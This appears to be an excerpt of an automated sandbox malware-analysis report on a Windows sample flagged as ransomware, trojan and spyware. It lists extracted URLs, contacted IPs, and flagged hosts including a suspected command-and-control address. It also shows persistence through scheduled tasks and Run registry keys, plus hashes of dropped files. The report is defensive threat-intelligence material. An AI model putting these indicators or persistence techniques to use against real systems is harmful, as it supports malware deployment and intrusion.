                                                                                                      https://pastebin.com/raw/bxdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002F95000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002987000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2895963175.0000000003607000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002D17000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                        		high
                                                                                                        https://www.eicar.org/download-anti-malware-testfile/)Downloads.txt.0.drfalse
                                                                                                          		high
                                                                                                          https://secure.eicar.org/eicar.com.txt/CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012EC8000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drfalse
                                                                                                            		high
                                                                                                            https://www.ecosia.org/newtab/tmp7E9C.tmp.dat.0.dr, tmp7714.tmp.dat.0.drfalse
                                                                                                              		high
                                                                                                              https://www.google.com/search?q=eicartmp7C1B.tmp.dat.0.drfalse
                                                                                                                		high
                                                                                                                http://marketdedamoroza.weCVmkXJ7e0a.exe, 00000000.00000002.3664308331.0000000002F3D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                • Avira URL Cloud: safe
                                                                                                                		unknown
                                                                                                                https://secure.eicar.org/eicar.com/CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012EC8000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drfalse
                                                                                                                  		high
                                                                                                                  https://pastebin.com/raw/bCQ1bxdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002F95000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002987000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2895963175.0000000003607000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002D17000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                    		high
                                                                                                                    https://ac.ecosia.org/autocomplete?q=tmp7714.tmp.dat.0.drfalse
                                                                                                                      		high
                                                                                                                      https://www.eicar.org/download-anti-malware-testfile/DownloadCVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012EC8000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drfalse
                                                                                                                        		high
                                                                                                                        https://www.eicar.org/download-anti-malware-testfile/History.txt.0.drfalse
                                                                                                                          		high
                                                                                                                          https://www.eicar.org/eicar.com.txt_Zone.Identifier.0.drfalse
                                                                                                                            		high
                                                                                                                            https://www.autoitscript.com/site/autoit/downloads/)Downloads.txt.0.drfalse
                                                                                                                              		high
                                                                                                                              https://support.mozilla.org/en-GB/products/firefoxgro.allizom.troppus.CVmkXJ7e0a.exe, 00000000.00000002.3672605336.000000001385B000.00000004.00000800.00020000.00000000.sdmp, tmp79A8.tmp.dat.0.dr, tmp76E4.tmp.dat.0.drfalse
                                                                                                                                		high
                                                                                                                                http://marketdedamoroza.webhop.meCVmkXJ7e0a.exe, 00000000.00000002.3664308331.0000000002F3D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                • Avira URL Cloud: safe
                                                                                                                                		unknown
                                                                                                                                http://www.quovadis.bm0CVmkXJ7e0a.exe, 00000000.00000002.3681814321.000000001BD20000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                • Avira URL Cloud: safe
                                                                                                                                		unknown
                                                                                                                                https://www.autoitscript.com/files/autoit3/autoit-v3-setup.exeQCVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012ED4000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drfalse
                                                                                                                                  		high
                                                                                                                                  https://pastebin.com/raw/xdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002F95000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002987000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2895963175.0000000003607000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002D17000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                    		high
                                                                                                                                    https://support.mozilla.orgCVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000013853000.00000004.00000800.00020000.00000000.sdmp, CVmkXJ7e0a.exe, 00000000.00000002.3672605336.000000001384B000.00000004.00000800.00020000.00000000.sdmp, tmp79A8.tmp.dat.0.dr, tmp76E4.tmp.dat.0.drfalse
                                                                                                                                      		high
                                                                                                                                      https://support.mozilla.org/en-GB/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=fireCVmkXJ7e0a.exe, 00000000.00000002.3672605336.000000001385B000.00000004.00000800.00020000.00000000.sdmp, tmp79A8.tmp.dat.0.dr, tmp76E4.tmp.dat.0.drfalse
                                                                                                                                        		high
                                                                                                                                        https://pastebin.com/xdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002F95000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002987000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2895963175.0000000003607000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002D17000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                          		high
                                                                                                                                          https://www.eicar.org/https://eicar.org/https://www.eicar.org/download-anti-malware-testfile/https:/CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012ED4000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drfalse
                                                                                                                                            		high
                                                                                                                                            https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=tmp7714.tmp.dat.0.drfalse
                                                                                                                                              		high
                                                                                                                                              https://pastebin.comxdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002F95000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002987000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002D17000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000003E.00000002.2914742198.0000000002D47000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                		high
                                                                                                                                                https://gemini.google.com/app?q=tmp7714.tmp.dat.0.drfalse
                                                                                                                                                  		high
                                                                                                                                                  https://pastebin.com/raxdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002F95000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002987000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2895963175.0000000003607000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002D17000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                    		high
                                                                                                                                                    https://secure.eicar.org/eicar.com.txttmp7C1B.tmp.dat.0.dr, eicar.com.txt_Zone.Identifier.0.drfalse
                                                                                                                                                      		high

                                                                                                                                                      World Map of Contacted IPs

                                                                                                                                                      • No. of IPs < 25%
                                                                                                                                                      • 25% < No. of IPs < 50%
                                                                                                                                                      • 50% < No. of IPs < 75%
                                                                                                                                                      • 75% < No. of IPs

                                                                                                                                                      Public IPs

                                                                                                                                                      IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                      104.20.4.235
                                                                                                                                                      		pastebin.comUnited States
                                                                                                                                                      		13335CLOUDFLARENETUSfalse
                                                                                                                                                      147.185.221.22
                                                                                                                                                      		l-carlo.gl.at.ply.ggUnited States
                                                                                                                                                      		12087SALSGIVERUStrue
                                                                                                                                                      104.16.185.241
                                                                                                                                                      		icanhazip.comUnited States
                                                                                                                                                      		13335CLOUDFLARENETUSfalse

                                                                                                                                                      General Information

                                                                                                                                                      Joe Sandbox version:41.0.0 Charoite
                                                                                                                                                      Analysis ID:1574307
                                                                                                                                                      Start date and time:2024-12-13 08:23:00 +01:00
                                                                                                                                                      Joe Sandbox product:CloudBasic
                                                                                                                                                      Overall analysis duration:0h 12m 9s
                                                                                                                                                      Hypervisor based Inspection enabled:false
                                                                                                                                                      Report type:full
                                                                                                                                                      Cookbook file name:default.jbs
                                                                                                                                                      Analysis system description:Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
                                                                                                                                                      Run name:Suspected VM Detection
                                                                                                                                                      Number of analysed new started processes analysed:104
                                                                                                                                                      Number of new started drivers analysed:0
                                                                                                                                                      Number of existing processes analysed:0
                                                                                                                                                      Number of existing drivers analysed:0
                                                                                                                                                      Number of injected processes analysed:0
                                                                                                                                                      Technologies:
                                                                                                                                                      • HCA enabled
                                                                                                                                                      • EGA enabled
                                                                                                                                                      • AMSI enabled
                                                                                                                                                      Analysis Mode:default
                                                                                                                                                      Sample name:CVmkXJ7e0a.exe
                                                                                                                                                      Detection:MAL
                                                                                                                                                      Classification:mal100.rans.troj.spyw.evad.winEXE@156/126@5/3
                                                                                                                                                      EGA Information:
                                                                                                                                                      • Successful, ratio: 14.3%
                                                                                                                                                      HCA Information:
                                                                                                                                                      • Successful, ratio: 59%
                                                                                                                                                      • Number of executed functions: 422
                                                                                                                                                      • Number of non-executed functions: 8
                                                                                                                                                      Cookbook Comments:
                                                                                                                                                      • Found application associated with file extension: .exe

                                                                                                                                                      Warnings

                                                                                                                                                      • Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
                                                                                                                                                      • Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe, WMIADAP.exe, WmiApSrv.exe, svchost.exe
                                                                                                                                                      • Excluded domains from analysis (whitelisted): ctldl.windowsupdate.com
                                                                                                                                                      • Execution Graph export aborted for target xdwdUpdate.exe, PID 5756 because it is empty
                                                                                                                                                      • Execution Graph export aborted for target xdwdUpdate.exe, PID 6480 because it is empty
                                                                                                                                                      • Execution Graph export aborted for target xdwdUpdate.exe, PID 8092 because it is empty
                                                                                                                                                      • Execution Graph export aborted for target xdwdpnsvr.exe, PID 3084 because it is empty
                                                                                                                                                      • Execution Graph export aborted for target xdwdpnsvr.exe, PID 5880 because it is empty
                                                                                                                                                      • Execution Graph export aborted for target xdwdpnsvr.exe, PID 6008 because it is empty
                                                                                                                                                      • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                      • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                                                      • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                                                                                                      • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                                                                                                                                      • Report size getting too big, too many NtDeviceIoControlFile calls found.
                                                                                                                                                      • Report size getting too big, too many NtEnumerateKey calls found.
                                                                                                                                                      • Report size getting too big, too many NtOpenKey calls found.
                                                                                                                                                      • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                                                      • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                                                                      • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                                                      • Report size getting too big, too many NtQueryVolumeInformationFile calls found.
                                                                                                                                                      • VT rate limit hit for: CVmkXJ7e0a.exe

                                                                                                                                                      Simulations

                                                                                                                                                      Behavior and APIs

                                                                                                                                                      TimeTypeDescription
                                                                                                                                                      02:25:07API Interceptor3646592x Sleep call for process: CVmkXJ7e0a.exe modified
                                                                                                                                                      02:25:33API Interceptor3x Sleep call for process: xdwdpnsvr.exe modified
                                                                                                                                                      02:25:39API Interceptor4x Sleep call for process: xdwdUpdate.exe modified
                                                                                                                                                      08:25:08Task SchedulerRun new task: Microsoft Skype path: C:\Users\Public\Pictures\xdwdUpdate.exe
                                                                                                                                                      08:25:31Task SchedulerRun new task: Microsoft Access Update path: C:\Users\user\AppData\Roaming\xdwdpnsvr.exe
                                                                                                                                                      08:25:33AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run chrome C:\Users\user\AppData\Roaming\xdwdpnsvr.exe
                                                                                                                                                      08:25:42AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run chrome C:\Users\user\AppData\Roaming\xdwdpnsvr.exe

                                                                                                                                                      Joe Sandbox View / Context

                                                                                                                                                      IPs

                                                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                      104.20.4.235gabe.ps1Get hashmaliciousUnknownBrowse
                                                                                                                                                      • pastebin.com/raw/sA04Mwk2
                                                                                                                                                      cr_asm_crypter.ps1Get hashmaliciousUnknownBrowse
                                                                                                                                                      • pastebin.com/raw/sA04Mwk2
                                                                                                                                                      vF20HtY4a4.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                      • pastebin.com/raw/sA04Mwk2
                                                                                                                                                      OSLdZanXNc.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                      • pastebin.com/raw/sA04Mwk2
                                                                                                                                                      gaber.ps1Get hashmaliciousUnknownBrowse
                                                                                                                                                      • pastebin.com/raw/sA04Mwk2
                                                                                                                                                      cr_asm_crypter.ps1Get hashmaliciousUnknownBrowse
                                                                                                                                                      • pastebin.com/raw/sA04Mwk2
                                                                                                                                                      sostener.vbsGet hashmaliciousNjratBrowse
                                                                                                                                                      • pastebin.com/raw/V9y5Q5vv
                                                                                                                                                      sostener.vbsGet hashmaliciousXWormBrowse
                                                                                                                                                      • pastebin.com/raw/V9y5Q5vv
                                                                                                                                                      envifa.vbsGet hashmaliciousRemcosBrowse
                                                                                                                                                      • pastebin.com/raw/V9y5Q5vv
                                                                                                                                                      New Voicemail Invoice 64746w .jsGet hashmaliciousWSHRATBrowse
                                                                                                                                                      • pastebin.com/raw/NsQ5qTHr
                                                                                                                                                      147.185.221.22ozgpPwVAu1.exeGet hashmaliciousXWormBrowse
                                                                                                                                                        exe003.exeGet hashmaliciousXWormBrowse
                                                                                                                                                          OXhiMvksgM.exeGet hashmaliciousXWormBrowse
                                                                                                                                                            7bZWBYVNPU.exeGet hashmaliciousXWormBrowse
                                                                                                                                                              BWoiYc9WwI.exeGet hashmaliciousXWormBrowse
                                                                                                                                                                fjijTlM2tu.exeGet hashmaliciousXWormBrowse
                                                                                                                                                                  gPEbJi1xiY.exeGet hashmaliciousXWormBrowse
                                                                                                                                                                    dHp58IIEYz.exeGet hashmaliciousXWormBrowse
                                                                                                                                                                      432mtXKD3l.exeGet hashmaliciousXWormBrowse
                                                                                                                                                                        l18t80u9zg.exeGet hashmaliciousXWormBrowse
                                                                                                                                                                          104.16.185.241file.exeGet hashmaliciousAmadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, StormKitty, VenomRATBrowse
                                                                                                                                                                          • icanhazip.com/
                                                                                                                                                                          file.exeGet hashmaliciousAmadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, VidarBrowse
                                                                                                                                                                          • icanhazip.com/
                                                                                                                                                                          iGxCM2I5u9.exeGet hashmaliciousFlesh StealerBrowse
                                                                                                                                                                          • icanhazip.com/
                                                                                                                                                                          3K5MXGVOJE.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                          • icanhazip.com/
                                                                                                                                                                          K6aOw2Jmji.exeGet hashmaliciousStealeriumBrowse
                                                                                                                                                                          • icanhazip.com/
                                                                                                                                                                          jpiWvvEcbp.exeGet hashmaliciousStealeriumBrowse
                                                                                                                                                                          • icanhazip.com/
                                                                                                                                                                          VzhY4BcvBH.exeGet hashmaliciousAsyncRAT, RedLine, StormKitty, VenomRATBrowse
                                                                                                                                                                          • icanhazip.com/
                                                                                                                                                                          L814CyOxMT.exeGet hashmaliciousFlesh Stealer, PureLog Stealer, zgRATBrowse
                                                                                                                                                                          • icanhazip.com/
                                                                                                                                                                          GsZkXAmf61.exeGet hashmaliciousCelestial Rat, EICARBrowse
                                                                                                                                                                          • icanhazip.com/
                                                                                                                                                                          REQUEST FOR QUOTATION.jsGet hashmaliciousPXRECVOWEIWOEI Stealer, PureLog StealerBrowse
                                                                                                                                                                          • icanhazip.com/

                                                                                                                                                                          Domains

                                                                                                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                          marketdedamoroza.webhop.me22.08.2024.exeGet hashmaliciousXmrigBrowse
                                                                                                                                                                          • 185.221.198.114
                                                                                                                                                                          WindowsDefender.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                          • 185.221.198.114
                                                                                                                                                                          pastebin.comhttp://annavirgili.comGet hashmaliciousCAPTCHA Scam ClickFixBrowse
                                                                                                                                                                          • 172.67.19.24
                                                                                                                                                                          http://annavirgili.comGet hashmaliciousCAPTCHA Scam ClickFixBrowse
                                                                                                                                                                          • 172.67.19.24
                                                                                                                                                                          KrnlSetup.exeGet hashmaliciousXWormBrowse
                                                                                                                                                                          • 104.20.3.235
                                                                                                                                                                          Revo.Uninstaller.Pro.v5.3.4.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                          • 104.20.3.235
                                                                                                                                                                          Revo.Uninstaller.Pro.v5.3.4.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                          • 104.20.4.235
                                                                                                                                                                          rrats.exeGet hashmaliciousAsyncRATBrowse
                                                                                                                                                                          • 172.67.19.24
                                                                                                                                                                          Q8o0Mx52Fd.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                          • 104.20.3.235
                                                                                                                                                                          Q8o0Mx52Fd.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                          • 104.20.3.235
                                                                                                                                                                          Setup.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                          • 104.20.4.235
                                                                                                                                                                          Microsoft.docGet hashmaliciousUnknownBrowse
                                                                                                                                                                          • 104.20.3.235
                                                                                                                                                                          icanhazip.comfile.exeGet hashmaliciousAmadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, StormKitty, VenomRATBrowse
                                                                                                                                                                          • 104.16.185.241
                                                                                                                                                                          file.exeGet hashmaliciousAmadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, VidarBrowse
                                                                                                                                                                          • 104.16.185.241
                                                                                                                                                                          7fE6IkvYWf.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                          • 104.16.184.241
                                                                                                                                                                          iGxCM2I5u9.exeGet hashmaliciousFlesh StealerBrowse
                                                                                                                                                                          • 104.16.185.241
                                                                                                                                                                          T05Dk6G8fg.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                          • 104.16.184.241
                                                                                                                                                                          3K5MXGVOJE.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                          • 104.16.185.241
                                                                                                                                                                          VaXmr82RIb.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                          • 104.16.184.241
                                                                                                                                                                          Pdf Reader.exeGet hashmaliciousStealeriumBrowse
                                                                                                                                                                          • 104.16.184.241
                                                                                                                                                                          gKWbina3a4.batGet hashmaliciousStealeriumBrowse
                                                                                                                                                                          • 104.16.184.241
                                                                                                                                                                          K6aOw2Jmji.exeGet hashmaliciousStealeriumBrowse
                                                                                                                                                                          • 104.16.185.241

                                                                                                                                                                          ASNs

                                                                                                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                          CLOUDFLARENETUSnaukri-launcher 10.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                          • 172.64.41.3
                                                                                                                                                                          WE8zqotCFj.exeGet hashmaliciousBlank Grabber, Umbral StealerBrowse
                                                                                                                                                                          • 162.159.137.232
                                                                                                                                                                          ozAxx9uGHu.exeGet hashmaliciousBlank Grabber, Umbral StealerBrowse
                                                                                                                                                                          • 162.159.136.232
                                                                                                                                                                          naukri-launcher 10.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                          • 162.159.61.3
                                                                                                                                                                          eCXXUk54sx.exeGet hashmaliciousDivulge StealerBrowse
                                                                                                                                                                          • 162.159.128.233
                                                                                                                                                                          ZS8xEqirxa.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                          • 104.21.27.188
                                                                                                                                                                          wV1Mk5PUmi.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                          • 104.21.48.1
                                                                                                                                                                          Rbeu9JMfnq.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                          • 104.21.50.161
                                                                                                                                                                          file.exeGet hashmaliciousAmadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, XmrigBrowse
                                                                                                                                                                          • 172.67.213.48
                                                                                                                                                                          fOhq9xghej.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                          • 104.21.96.1
                                                                                                                                                                          CLOUDFLARENETUSnaukri-launcher 10.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                          • 172.64.41.3
                                                                                                                                                                          WE8zqotCFj.exeGet hashmaliciousBlank Grabber, Umbral StealerBrowse
                                                                                                                                                                          • 162.159.137.232
                                                                                                                                                                          ozAxx9uGHu.exeGet hashmaliciousBlank Grabber, Umbral StealerBrowse
                                                                                                                                                                          • 162.159.136.232
                                                                                                                                                                          naukri-launcher 10.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                          • 162.159.61.3
                                                                                                                                                                          eCXXUk54sx.exeGet hashmaliciousDivulge StealerBrowse
                                                                                                                                                                          • 162.159.128.233
                                                                                                                                                                          ZS8xEqirxa.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                          • 104.21.27.188
                                                                                                                                                                          wV1Mk5PUmi.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                          • 104.21.48.1
                                                                                                                                                                          Rbeu9JMfnq.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                          • 104.21.50.161
                                                                                                                                                                          file.exeGet hashmaliciousAmadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, XmrigBrowse
                                                                                                                                                                          • 172.67.213.48
                                                                                                                                                                          fOhq9xghej.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                          • 104.21.96.1
                                                                                                                                                                          SALSGIVERUSfile.exeGet hashmaliciousXWormBrowse
                                                                                                                                                                          • 147.185.221.24
                                                                                                                                                                          NhoqAfkhHL.batGet hashmaliciousUnknownBrowse
                                                                                                                                                                          • 147.185.221.24
                                                                                                                                                                          sora.mpsl.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                          • 147.160.103.28
                                                                                                                                                                          a4lIk1Jrla.exeGet hashmaliciousNjrat, RevengeRATBrowse
                                                                                                                                                                          • 147.185.221.24
                                                                                                                                                                          W6s1vzcRdj.exeGet hashmaliciousXWormBrowse
                                                                                                                                                                          • 147.185.221.24
                                                                                                                                                                          u7e3vb5dfk.exeGet hashmaliciousXWormBrowse
                                                                                                                                                                          • 147.185.221.24
                                                                                                                                                                          aOi4JyF92S.exeGet hashmaliciousXWormBrowse
                                                                                                                                                                          • 147.185.221.24
                                                                                                                                                                          ozgpPwVAu1.exeGet hashmaliciousXWormBrowse
                                                                                                                                                                          • 147.185.221.22
                                                                                                                                                                          PG4w1WB9dE.exeGet hashmaliciousAsyncRAT, XWormBrowse
                                                                                                                                                                          • 147.185.221.24
                                                                                                                                                                          a4BE6gJooT.exeGet hashmaliciousXWormBrowse
                                                                                                                                                                          • 147.185.221.24

                                                                                                                                                                          JA3 Fingerprints

                                                                                                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                          54328bd36c14bd82ddaa0c04b25ed9adZiraat Bankasi Swift Mesaji.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                                                          • 104.20.4.235
                                                                                                                                                                          TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                                          • 104.20.4.235
                                                                                                                                                                          Request for Quotations and specifications.pdf.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                                                          • 104.20.4.235
                                                                                                                                                                          hesaphareketi-01.pdf.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                                                                                                          • 104.20.4.235
                                                                                                                                                                          hesaphareketi-01.pdfsxlx..exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                                                                                                          • 104.20.4.235
                                                                                                                                                                          41570002689_20220814_05352297_HesapOzeti.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                                                          • 104.20.4.235
                                                                                                                                                                          malware.ps1Get hashmaliciousMassLogger RATBrowse
                                                                                                                                                                          • 104.20.4.235
                                                                                                                                                                          Shipping Documents.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                                                          • 104.20.4.235
                                                                                                                                                                          QUOTES REQUEST FOR PRICES.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                                                          • 104.20.4.235
                                                                                                                                                                          T#U00fcbitak SAGE RfqF#U0334D#U0334P#U0334..exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                                          • 104.20.4.235

                                                                                                                                                                          Dropped Files

                                                                                                                                                                          ⊘No context

                                                                                                                                                                          Created / dropped Files

                                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\xdwdUpdate.exe.log

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\Public\Pictures\xdwdUpdate.exe
                                                                                                                                                                          File Type:CSV text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):871
                                                                                                                                                                          Entropy (8bit):5.36845336122342
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:Q3La/KDLI4MWuPyEsOKbbDLI4MWuPOKMAKhap+92n4MNQpVhU9tWzAbDLI4MNux+:ML9E4KaCKDE4KGKMAKh6+84xpcKsXE4w
                                                                                                                                                                          MD5:15332C93136041700B0E3D5AEB01CFCE
                                                                                                                                                                          SHA1:77EBA09260200C3EA967778E460A7A0D83A2E152
                                                                                                                                                                          SHA-256:5B95602CCE052DF6412A02E94AAC5326A41419C13C56B1FE0CE9389D3CB77D30
                                                                                                                                                                          SHA-512:419B6BCD31744FE9494F0FB8CF0AA57C59E338898BD5A9832A7C59BE5E478A27D53D40861AF2F4ED38426574781E2DA38237805CB765C7BD582FB8F4C547102A
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\d1b08a492d712e019f310913d82efb4d\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\782dd7dd89e97af687ff0bdfb301ea5f\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\d168bb79d8c202ee2de4b8f1cab215dd\Microsoft.VisualBasic.ni.dll",0..3,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Management\3a54af634388e6223cd280a434ab6a59\System.Management.ni.dll",0..

                                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\xdwdpnsvr.exe.log

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\AppData\Roaming\xdwdpnsvr.exe
                                                                                                                                                                          File Type:CSV text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):871
                                                                                                                                                                          Entropy (8bit):5.36845336122342
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:Q3La/KDLI4MWuPyEsOKbbDLI4MWuPOKMAKhap+92n4MNQpVhU9tWzAbDLI4MNux+:ML9E4KaCKDE4KGKMAKh6+84xpcKsXE4w
                                                                                                                                                                          MD5:15332C93136041700B0E3D5AEB01CFCE
                                                                                                                                                                          SHA1:77EBA09260200C3EA967778E460A7A0D83A2E152
                                                                                                                                                                          SHA-256:5B95602CCE052DF6412A02E94AAC5326A41419C13C56B1FE0CE9389D3CB77D30
                                                                                                                                                                          SHA-512:419B6BCD31744FE9494F0FB8CF0AA57C59E338898BD5A9832A7C59BE5E478A27D53D40861AF2F4ED38426574781E2DA38237805CB765C7BD582FB8F4C547102A
                                                                                                                                                                          Malicious:false
